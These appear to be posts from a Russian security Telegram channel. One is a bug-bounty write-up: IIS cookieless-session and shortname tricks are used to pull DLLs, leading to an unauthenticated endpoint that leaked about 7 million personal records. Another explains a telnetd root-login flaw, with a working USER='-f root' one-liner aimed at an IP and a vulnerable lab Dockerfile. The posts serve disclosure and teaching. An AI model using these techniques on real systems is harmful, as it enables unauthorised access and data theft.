первый крит на бб ☠️
Одним холодным декабрьским вечером, сканер обнаруживает IIS сервер, уязвимый к cokieless сессии и shortname enum, благодаря чему даёт вытаскивать DLL библиотеки.
Пару минут гуглежа и попадается статья SWARM'ов о пробиве вебчика по этому же сценарию.
Из хаоса информации и непонимая, выстроилась цель - раскопать кастомные DLL библиотеки.
Помня, что сервер уязвим к shortname enumeration, пробую подобрать имена через shortscan.
БИНГО! Я ПОЛУЧИЛничего.
Не сдаёмся.
Пошёл в таверну ИИ, расписал воображаемую ситуацию и попросил сгенерить словарь DLL библиотек, включая как стандартные, так и с названием компании и целевого домена.
Среди мусора попалась
Развернул Windows виртуалку, скачал ilspy (декомпилятор .NET) и начал смотреть что же там есть, ведь ИИ подсказал "в DLL должен быть определен путь к Swagger".
Около получаса прыгаю по коду и интерфейсу, ментально привыкая к .NET. Кое-как костылями натыкаюсь на путь к сваггеру
Ликуя, вписываю в браузер иииИИ... сваггер не открывается. Сервер возвращает 404 и не более. Десятки раз перепроверил код, посоветовался с ИИ, пробовал обойти всякими методами и софтами.
Лишь через час вспоминаю, что сервер же уязвим к cookieless сессии! Складываю
ОТКРЫВАЕТСЯ СВАГГЕР👁
Смотрю, изучаю, пробую API на вкус, затем вспоминаю истинную цель похода на сваггер - подобрать имена DLL библиотек.
Собрал ключевые слова со сваггера, закинул в ИИ и попросил сгенерировать ещё один словарь, но уже только кастомных библиотек. Подождал, скачал, запустил подбор и получил хиты!
Быстро, с потным руками и болью в спине (уже шёл 3-й час ночи), кидаю DLL'ки в
Заметил, что в каждой DLL, в начале кода, были расписаны импорты внешних библиотек. С ИИ написал базовый скрипт, что забирал все импорты из DLL и собирал их в единый словарь
Так подобрал ещё десяток библиотек.
На этом заканчиваю сессию багхантинга и ложусь спать.
Следующий день, казалось, был холоднее предыдущего. Впрочем, это не мешало моим пальцам искать уязвимости по небоскребам кода, словно собирая подарки на рождество. I live for this shit.
Следуя по сценарию SWARM'ов, следующим этапом надо было найти RCE. Часы шли медленно, но я не сдавался. Структуры, классы, импорты, утилиты, связки, креды, заголовки, внутренние адреса.
Спустя много дней ручного анализа кода, перепробовав кучу вариантов десера, логических баг и других вагонов уязвимостей.
Ещё пару часов отчаяния и попадается API эндпоинт
Без аутентификации, вернулись чьи-то персональные данные. Край данных оказался на числе в почти 7 миллионов. Считай все эти 7кк ПДн торчали в интернет без аутентификации многие годы.
Заполнил репорт с уровнем критичности "высокий", но вендор сам повысил до критического и щедро наградил за находку.
В коде были найдены ещё пара лоу-медиум уязвимостей и всё.
Остался без RCE, но с первым критом🚗
Все совпадения случайны, да и вообще, просыпайся, багбаунти не существует. Погнали грызть бананы и прыгать по деревьям.
Одним холодным декабрьским вечером, сканер обнаруживает IIS сервер, уязвимый к cokieless сессии и shortname enum, благодаря чему даёт вытаскивать DLL библиотеки.
https://target.com/(S(X))/b/(S(X))in/Newtonsoft.Json.dll
Пару минут гуглежа и попадается статья SWARM'ов о пробиве вебчика по этому же сценарию.
Из хаоса информации и непонимая, выстроилась цель - раскопать кастомные DLL библиотеки.
Помня, что сервер уязвим к shortname enumeration, пробую подобрать имена через shortscan.
shortscan --timeout 20 --fullurl --stabilise --patience 1 --verbosity 1 https://target.com
БИНГО! Я ПОЛУЧИЛ
Не сдаёмся.
Пошёл в таверну ИИ, расписал воображаемую ситуацию и попросил сгенерить словарь DLL библиотек, включая как стандартные, так и с названием компании и целевого домена.
Среди мусора попалась
Swashbuckle.Core.dll (автоматически генерит swagger)Развернул Windows виртуалку, скачал ilspy (декомпилятор .NET) и начал смотреть что же там есть, ведь ИИ подсказал "в DLL должен быть определен путь к Swagger".
Около получаса прыгаю по коду и интерфейсу, ментально привыкая к .NET. Кое-как костылями натыкаюсь на путь к сваггеру
/swagger/docs/v1Ликуя, вписываю в браузер иииИИ... сваггер не открывается. Сервер возвращает 404 и не более. Десятки раз перепроверил код, посоветовался с ИИ, пробовал обойти всякими методами и софтами.
Лишь через час вспоминаю, что сервер же уязвим к cookieless сессии! Складываю
(S(X)) и путь к сваггеру
/(S(X))/swagger/docs/v1
ОТКРЫВАЕТСЯ СВАГГЕР
Смотрю, изучаю, пробую API на вкус, затем вспоминаю истинную цель похода на сваггер - подобрать имена DLL библиотек.
Собрал ключевые слова со сваггера, закинул в ИИ и попросил сгенерировать ещё один словарь, но уже только кастомных библиотек. Подождал, скачал, запустил подбор и получил хиты!
/(S(X))/b/(S(X))in/COMPANY.core.dll
/(S(X))/b/(S(X))in/LONGASSDOMAIN.dll
/(S(X))/b/(S(X))in/COMPANYX.mvc.dll
Быстро, с потным руками и болью в спине (уже шёл 3-й час ночи), кидаю DLL'ки в
ilspy и смотрю код сервиса. Кода слишком много, но и нельзя останаливаться. Надо выкачать весь код и уже затем браться за анализ.Заметил, что в каждой DLL, в начале кода, были расписаны импорты внешних библиотек. С ИИ написал базовый скрипт, что забирал все импорты из DLL и собирал их в единый словарь
# Bulk extract from all DLLs in a directory
$dlls = Get-ChildItem -Path "C:\Users\w0ltage\Desktop\company-dlls\new" -Filter "*.dll"
foreach ($dll in $dlls) {
try {
$asm = [System.Reflection.Assembly]::ReflectionOnlyLoadFrom($dll.FullName)
$asm.GetReferencedAssemblies() | ForEach-Object {
$_.Name
}
} catch {
Write-Host "Could not load $($dll.Name): $($_.Exception.Message)" -ForegroundColor Red
}
}
Так подобрал ещё десяток библиотек.
На этом заканчиваю сессию багхантинга и ложусь спать.
Следующий день, казалось, был холоднее предыдущего. Впрочем, это не мешало моим пальцам искать уязвимости по небоскребам кода, словно собирая подарки на рождество. I live for this shit.
Следуя по сценарию SWARM'ов, следующим этапом надо было найти RCE. Часы шли медленно, но я не сдавался. Структуры, классы, импорты, утилиты, связки, креды, заголовки, внутренние адреса.
Спустя много дней ручного анализа кода, перепробовав кучу вариантов десера, логических баг и других вагонов уязвимостей.
Ещё пару часов отчаяния и попадается API эндпоинт
/journal/get/{id}
/journal/get/8
Без аутентификации, вернулись чьи-то персональные данные. Край данных оказался на числе в почти 7 миллионов. Считай все эти 7кк ПДн торчали в интернет без аутентификации многие годы.
Заполнил репорт с уровнем критичности "высокий", но вендор сам повысил до критического и щедро наградил за находку.
В коде были найдены ещё пара лоу-медиум уязвимостей и всё.
Остался без RCE, но с первым критом
Please open Telegram to view this post
VIEW IN TELEGRAM
10 67 22
взломать интернет бесплатно 2026
вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля.
что?🐱
Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos.
Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера.
Без Kerberos, этот юзернейм попросту не детектился.
Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм.
Новый шаблон:
и вот тут происходит кабум бабах ракета взрыв🤯
1. В бинаре
2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе
3. содержимое
. . .
Теперь перечитай эксплойт
Да это же уязвимость наargument injection!
Повторим флоу атаки🃏
0. выставляем переменную
1. переменная
2.
3. сервер получает команду
4. бинарь
5. поздравляю,
Dockerfile для тестовой лабы
Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч
USER="-f root" telnet -a 104.16.149.244 23
вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля.
что?
Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos.
Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера.
Без Kerberos, этот юзернейм попросту не детектился.
Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм.
Новый шаблон:
/usr/bin/login " -p -h %h %?u{-f %u}{%U}"
и вот тут происходит кабум бабах ракета взрыв
1. В бинаре
login есть флаг -f, нужный для "этот юзер уже был аутентифицирован где-то ещё, не надо его проверять снова"2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе
$USER с целевым логином3. содержимое
$USER переменной никак не санитизируется. . .
Теперь перечитай эксплойт
USER="-f root" telnet -a 104.16.149.244 23
Да это же уязвимость на
Повторим флоу атаки
0. выставляем переменную
$USER="-f root" и включаем автологин -a1. переменная
$USER не проверяется, но учитывается сервером2.
$USER подставляется в шаблон логина вместо {%U}3. сервер получает команду
/usr/bin/login -p -f root4. бинарь
login скипает аутентификацию из-за -f5. поздравляю,
ты root
———Dockerfile для тестовой лабы
FROM debian:11-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*
RUN useradd user1 && \
sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]
Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч
Please open Telegram to view this post
VIEW IN TELEGRAM
план на это лето:
1. веб пробивать бесплано
2. ии ломать платно
3. репорт сдават в пентест авардс
4. макбук получат
5. покушат на награждении
1. веб пробивать бесплано
2. ии ломать платно
3. репорт сдават в пентест авардс
4. макбук получат
5. покушат на награждении
Forwarded from Just Security
Pentest award 2026 открывает прием заявок!
Вновь у этичных хакеров появляется возможность громко заявить о своих достижениях. Можно снова делиться наработками, демонстрировать талант и профессионализм. Участники получают вдохновения и новые рабочие инсайты, а также развиваются за счет обмена уникальным опытом с коллегами со всей страны.
В этом году мы внедрили много нового, но участие, как всегда, остается бесплатным.
Главный приз за победу — макбук и статуэтка!
За вторые и третьи места призеры получат айфоны и смарт-часы.
Церемония награждения состоится 14 августа на Красном Октябре.
✨ Отправляйте заявки на сайте, участвуйте и побеждайте!
#pentestaward
Вновь у этичных хакеров появляется возможность громко заявить о своих достижениях. Можно снова делиться наработками, демонстрировать талант и профессионализм. Участники получают вдохновения и новые рабочие инсайты, а также развиваются за счет обмена уникальным опытом с коллегами со всей страны.
В этом году мы внедрили много нового, но участие, как всегда, остается бесплатным.
Главный приз за победу — макбук и статуэтка!
За вторые и третьи места призеры получат айфоны и смарт-часы.
Церемония награждения состоится 14 августа на Красном Октябре.
#pentestaward
Please open Telegram to view this post
VIEW IN TELEGRAM
Буду выступать на OFFZONE 2026, в
20 августа, 17:45 - 18:15
Расскажу как 4 месяца жал полный газ в ИИшные гонки за кнопкой взломать.
Упор сделаю на "что делать не надо", а также как сэкономить денег и чего стоит делать😏
COMMUNITY.ZONE20 августа, 17:45 - 18:15
Расскажу как 4 месяца жал полный газ в ИИшные гонки за кнопкой взломать.
Упор сделаю на "что делать не надо", а также как сэкономить денег и чего стоит делать
Please open Telegram to view this post
VIEW IN TELEGRAM